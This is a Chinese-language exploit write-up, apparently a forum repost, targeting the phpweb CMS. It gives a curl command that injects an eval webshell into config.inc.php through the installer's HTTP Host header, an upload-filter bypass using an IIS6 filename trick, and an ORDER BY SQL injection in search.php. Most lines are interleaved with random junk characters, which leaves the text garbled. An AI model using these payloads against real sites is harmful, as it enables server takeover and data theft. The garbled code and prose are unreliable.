注入:
, p. Z) q p0 K8 \- v/ U; p$ _) A( n# i0 J7 K2 n
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码2 R2 W$ E0 F+ h5 H& e' D# A
) Z- P: J( o- U" m
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件% E6 ]) s" ]1 t) w& l& j. N
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
4 g( \+ q6 e1 w* @. j 3 A5 x/ O9 {+ N A) B
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响# o( Y- R; a" E2 u: E. C
3 t- Q2 W U$ Q
分析:. g3 t2 t2 ]. x3 Z! _
* t' F/ Y( n! ?) m! |( L" e' ?0 L
2 K# P$ { U* x v$ T' a; ]& F( X
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤7 x! d, u+ {+ Z" Z
D/ W7 M, H) V0 ? N& J $filestr = fread(fopen($SysConfigFile, 'r'),30000);" x7 K* I+ H0 t ] h- p6 ?
$filestr=str_replace(" ","",$filestr);
4 f" W+ l' T$ E3 L( { $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# ?: t o( i) a1 R3 g# S- g $filestr=str_replace("DefaultDbName",$dbname,$filestr);
! A% w9 C) i4 J7 f8 w0 _ $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
; f& n1 L% v5 C" A( f $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);: \5 v# P! P: o1 c$ U2 S
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; m# j( M3 j7 J) r, Q% l $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
u7 e+ r$ L0 i3 l4 D: k3 g3 X* l $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
2 c; P( L0 w$ L- O: e9 [* ]" M1 d! q & w3 U1 n" o; y2 z8 \8 `2 c
fwrite(fopen($ConFile,"w"),$filestr,30000);
; ~8 M% k" \& m3 e$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^. N: J& k; W% O7 X8 V6 A# C
+ S% @6 R9 p; ^- I% b
poc:$ F' v+ ]- }- ]) x
# ~% H! U. g' L( h. |& s4 [$ \
?8 \9 C; K6 _+ V/ e! n+ o9 k
1- r, [9 Q) O, P) v$ v3 M1 u
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
1 U# g6 V- O# S9 M5 F* \shell地址: /config.inc.php1 y# A: d* w; l9 }2 A6 {' y
跟之前的 phpcms一样 需要远程数据库
7 q. i- X2 V0 ~5 L; q 4 b) P% T) K; J& R8 W
——————————————————–
* [: ~7 `/ c& t上传漏洞(需要进后台):
* n3 N+ i/ G" Q y! A漏洞文件: /kedit/upload_cgi/upload.php
2 @ H. T0 s: M) ]& A这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
; v7 f; d) r) \; M m8 q" p : M3 b) B* i0 G, [( m% @
4 V6 F: G$ n4 n$ D8 P4 U
<?php* h5 @: m1 X( o4 V0 ~- j9 u
define("ROOTPATH", "../../");& ^% h' a# s7 h& B
include(ROOTPATH."includes/admin.inc.php");. j/ s% I% e: ?4 A5 T& h- v7 M) C
NeedAuth(0);6 E3 I# S; g% v: @# m
; C0 P: ^8 W: f, W4 z# q x $dt=date("Ymd",time());
+ n2 k( R* N! l" C if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){1 K/ F" h$ F) M; {( z8 U7 l8 Q3 W
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);2 u E$ x4 p# F2 Z1 T
}3 p; v( C; G, V+ d. n
# e, {/ ]. e |; x6 c5 {3 E //文件保存目录路径
9 q. O5 Z# `/ N: D $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';. E$ L& P% q6 t& O. B' K' }7 a
echo $save_path;
! A5 b& z# a8 l" E //文件保存目录URL
( `' \2 y `3 c. c $save_url = '../../'.$_POST['attachPath'].$dt.'/';: V! R3 K) t j E0 d0 g9 Q
/ g: u3 A* X* V+ z: O
//定义允许上传的文件扩展名# q, p+ l3 t5 Y& J: N6 u; ?4 ~& Z
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀 W. B* G5 @7 o4 R3 @' j4 I
& B; ^ P t4 ^5 }$ }" b, k
//最大文件大小
4 Y3 m' l: p8 Z& b3 K# S! D $max_size = 1000000;# \) @7 ~9 [0 k! ]
9 ]5 X2 d! H+ d; Q //更改目录权限
3 K, `# m3 Q4 l @mkdir($save_path, 0777);
1 d- U9 S* N$ _' C% e* E
9 F' x' g. t4 Z' G4 B! U //文件的全部路径
( `1 O, K) F7 t* a+ r- j $file_path = $save_path.$_POST['fileName']; //保存文件名$ F& e9 q2 d, X
6 w( ]9 i8 c; b" k //文件URL
7 x, M- J3 F3 c) V* ]# K0 } $file_url = $save_url.$_POST['fileName'];
/ H3 g" n; J t# _( D//有上传文件时
. i. x" b% \, \2 B2 u$ h, \ if (empty($_FILES) === false) {$ f7 i1 O2 t5 R5 D; J) J
' }, x9 L0 w H6 @+ c" W/ K0 q" Y! e //原文件名
( x$ s) O) ^" h5 o& X5 H $file_name = $_FILES['fileData']['name'];
+ A% h0 u2 ?, U //服务器上临时文件名
7 U# o4 p9 E/ `( A) X0 W% Q $tmp_name = $_FILES['fileData']['tmp_name'];
# l! T0 ]: \$ Z. N# z8 E* Z2 B //文件大小3 ?9 _) {0 [+ S. J$ k" [
$file_size = $_FILES['fileData']['size'];# O. U+ \8 }$ H$ @" Y
//检查目录- a9 ^6 L+ X9 Q. J7 u; P# F% G# |
if (@is_dir($save_path) === false) {
8 ]; x6 v- b9 T& } alert("上传目录不存在。");9 i+ \9 N5 ?7 T+ R
}7 ~' K1 X" G8 r1 i( d# S, l7 p' C
//检查目录写权限
5 Z: l# {' L- } C z) j0 ^+ L if (@is_writable($save_path) === false) {4 h x* M& B B, y% l8 ~
alert("上传目录没有写权限。");3 n' j& ?8 L: E) |& v9 Q# E
}
5 t+ F4 V1 R- c' q; h //检查是否已上传
8 b8 B9 t" G7 v& }4 }1 d% ] if (@is_uploaded_file($tmp_name) === false) {
+ q6 ^1 K1 K9 B( C0 i alert("临时文件可能不是上传文件。");
7 r/ x( v1 B) [5 q# E6 d ] }
y4 t4 p7 j) Q6 T6 j, A; W# c4 q" l //检查文件大小
1 {0 |6 T% @- p7 E6 q8 U if ($file_size > $max_size) {
! f3 x" E9 R6 U alert("上传文件大小超过限制。");
1 s, N0 j6 Q- I \6 a }0 o5 h0 ~, m& J& w1 M
//获得文件扩展名' m; A* `4 \6 p" j& F, ^4 S7 j
$temp_arr = explode(".", $_POST['fileName']);3 b' T7 ~# ~ ]4 c1 v( z3 o% Y
$file_ext = array_pop($temp_arr);: M: Q7 V* R* ^6 b( d
$file_ext = trim($file_ext);
% o$ i% l' B, H. z' |! h0 ~ $file_ext = strtolower($file_ext);6 Z$ T7 }' o: n/ O. O8 h
% b! p6 K3 ~: N
//检查扩展名 9 y/ m4 f7 Z. G7 R# n' J0 H
if (in_array($file_ext, $ext_arr) === false) {
- F4 h2 [* f' {" G5 j2 I alert("上传文件扩展名是不允许的扩展名。");! M7 a. D! Q( F$ \
}8 x& V# R( x% x( z5 f( v$ @
1 t x i! J9 ]. O: |$ v! T
//移动文件 6 {9 F* S/ _& D' b/ B4 T+ D B
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^4 `2 m' N' {( f; D+ k
if (move_uploaded_file($tmp_name, $file_path) === false) {
" ?! B( }' u8 q* t alert("上传文件失败。");. r" L' T& o L- }- [0 t
}
6 f4 y( @' {1 x& W: r, P . W7 j' f2 D% |5 z: O% q. D6 H; r S
@chmod($file_path,0666); g/ u" g. E( b9 R
* v4 c% m1 V, }3 t4 B ?>
( o% N0 u) Y. i5 O* L8 v. `% l抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
7 a0 I6 T: F" D6 ^ B. o4 z$ {
7 M' v/ i+ R$ b1 A" H) Capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 L* G# ?* f8 |1 U
' ~0 m& |, G! u——————————————————9 m# O+ N% v. s: [& `( Z
注入漏洞:
j" H3 k2 P1 H$ R& ]! r0 n$ _漏洞文件:search/module/search.php5 e R7 A4 i) b# S& u
/search/index.php?key=1&myord=1 [sqlinjection]6 |/ @2 j. F6 q, A l+ A% P3 O
, O: x% p, ?; _0 r. m2 @
- x2 N1 C: P8 c2 f3 t. N<?php
! ?7 L7 V' V8 @: N7 M // ... 省略 n 行...
2 `" J# Z Z3 A7 ?. [9 g //第18行:
4 N7 w. m/ j _3 I $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响3 c6 k2 u( C0 W, W2 s$ {9 i* T
$page=htmlspecialchars($_GET["page"]);
2 R3 y9 H8 G( e" ~/ A# s$ t! f: h+ @ $myord=htmlspecialchars($_GET["myord"]);" X/ H$ e$ v2 l1 e; `
4 ?1 u4 j/ _! W3 Z$ h* _% n
// ... 省略 n 行...
/ j6 ?" B! n0 C6 Y9 S4 V. T* w $key,$myord 两个参数带入查询8 r' g0 R3 Z1 y) N0 u
//第47行 $key:1 r4 H* G& s A# w4 s
; Q; L7 i! Q5 F
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ @' R6 s" O5 A$ L& ?( i G# K: z 3 Z' M! g! T2 D8 X& h$ S$ z' Q
//第197行 $myord
+ U; x7 N$ [- L7 p& p% @ $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入7 {: ^/ x& l% y
" i) }0 }" h9 f+ B ?>
1 Z: p, R; g7 r |